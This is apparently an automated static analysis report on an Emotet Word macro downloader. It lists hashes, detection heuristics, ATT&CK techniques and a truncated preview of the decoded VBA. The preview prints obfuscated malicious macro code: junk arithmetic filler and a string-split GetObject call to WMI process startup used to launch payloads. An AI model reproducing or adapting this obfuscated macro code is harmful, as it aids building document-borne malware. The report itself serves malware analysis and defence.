Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 04698d71fe7ba0bc…

MALICIOUS

Office (OLE)

329.2 KB Created: 2019-02-20 22:40:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: 9dc37e46e2822322f229e998c2768f79 SHA-1: 166b98883727685f3896f8c31063f6b6bb2b15c0 SHA-256: 04698d71fe7ba0bcb637c967064b6dbd4f58b726bd2e0f3f4f1d0ec2d07932ca
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains multiple indicators of malicious macro execution, including legacy WordBasic auto-exec markers, an AutoOpen VBA macro, and a GetObject call, all strongly suggesting the execution of embedded code. ClamAV detection as 'Doc.Downloader.Emotet-6864615-0' further supports this, indicating the file's purpose is to download and execute a secondary payload. The presence of VBA macros and the Emotet family attribution point towards a common phishing attachment delivery vector.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6864615-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6864615-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73317 bytes
SHA-256: 704af98808f5a79e1c242d582176ace8c0bd3c5d625d6caecc8bd95114553136
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "n087__81"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "l8498_"
Function T_58451()
      J0333066 = 165732467 - 84652675
   E1_28_ = 341336524 + f_0_299
  Select Case w60605
      Case 972385022
         q7345201 = Chr(624482569 * Tan(w24079_))
         E2_223 = l582228
      Case 269909015
         X842___ = J1_2673_
         D2342553 = z06337_1
      Case 981982878
         O1508_42 = 624919321
         o845553 = o63_70__
   End Select
      c11__2_2 = 335302691 - 163767063
   a_333_2 = 752066423 + Q_5_185
  Select Case O7___552
      Case 728235867
         F24_46 = Chr(428667804 * Tan(S3302_48))
         O_4591 = U___5_
      Case 950356694
         a60020 = G53011_
         d7__0_9 = p19_40
      Case 725046007
         F36321_7 = 711249076
         T_17057 = r9262_3
   End Select
      w594__25 = 288704408 - 610200261
   v042_279 = 663037056 + w_64_5
  Select Case H4627_
      Case 910985547
         I381___ = Chr(898789535 * Tan(o06722))
         Y6961986 = i_3_4_6
      Case 489408960
         K_96_4 = m_51647
         n3_85755 = v7719__7
      Case 634332277
         h_0209 = 206569062
         v70_057 = S51951_4
   End Select
      t638381 = 862278573 - 505579941
   C87___ = 735337498 + N2_6_5_4
  Select Case t86278
      Case 928021334
         m72___70 = Chr(861348596 * Tan(i7993_7))
         t0__57_0 = S___7526
      Case 910432846
         h15976_ = j136_206
         F_3_98_ = Q16946
      Case 230400240
         E_1__85 = 335104513
         w60_167 = H029__7
   End Select
      G4__55 = 305226670 - 244983474
   E95_25_ = 160350089 + O01__6_3
  Select Case j_10_3
      Case 314938330
         F30_60 = Chr(8566119 * Tan(w_1901_))
         w__824 = G803_1__
      Case 811370710
         k04_464 = C4_04_
         N817_0 = V3__40_
      Case 303917444
         c0103_1_ = 650365981
         w_10004 = r__7_3
   End Select
      T7_249 = 847119990 - 705658037
   P8___3__ = 856104116 + z_0_61
  Select Case t62570__
      Case 869250915
         n5_60111 = Chr(235842181 * Tan(c1_26922))
         O__5344 = X1719__7
      Case 992062415
         w533_16 = J0_847
         B7___5 = C1556323
      Case 492833419
         f872____ = 788258737
         m34_7828 = p7_122
   End Select
      R_8219 = 149600281 - 549551068
   R2__5_ = 106903657 + m9_7158
  Select Case F_5___6
      Case 266598414
         C138___8 = Chr(141465764 * Tan(N0875978))
         c4872_95 = D943791
      Case 965999343
         m600_3 = X4__01
         i2__2414 = W6_088_
      Case 163002022
         a_9_25 = 870513954
         Q_3001_ = J857_3_7
   End Select
End Function
Function z_376_60(o5407_40, U_8155_7)
On Error Resume Next
      w32_493 = 53167550 - 519478825
   T5___29 = 870167159 + G3_56172
  Select Case p06354_
      Case 449068510
         t036125_ = Chr(118122534 * Tan(F80_138_))
         v99_0_89 = I_017_
      Case 605775791
         j01__0 = U416881_
         b54_28_ = s952849
      Case 899183990
         q_293258 = 804588310
         i1762_ = i7_55431
   End Select
      f057961 = 583149826 - 654559089
   Q78893_ = 982340265 + h__1846_
  Select Case k4115_
      Case 82134585
         w02772_8 = Chr(24314109 * Tan(L_____))
         D2901__ = b402_29
      Case 98842661
         X___655 = W31970__
         G7_16___ = q3_74_8
      Case 344219010
         U03_04 = 463832953
         X_6536 = v5_9625_
   End Select
Set h22227 = GetObject((Q820628 + "win" + o52820 + "mgm" + W_92559_) + (w8_16__ + "ts:Win" + Q2149_0_) + "32_Proce" + "ssStartup")
      f_90__ = 921341036 - 49934387
   R5_8_865 = 649702550 + z44780
  Select Case u12736
      Case 772081429
         Y668441 = Chr(51375532 * Tan(a96062))
         n54330_ = K_023___
      Case 281035449
         j_46_7_ = 
... (truncated)

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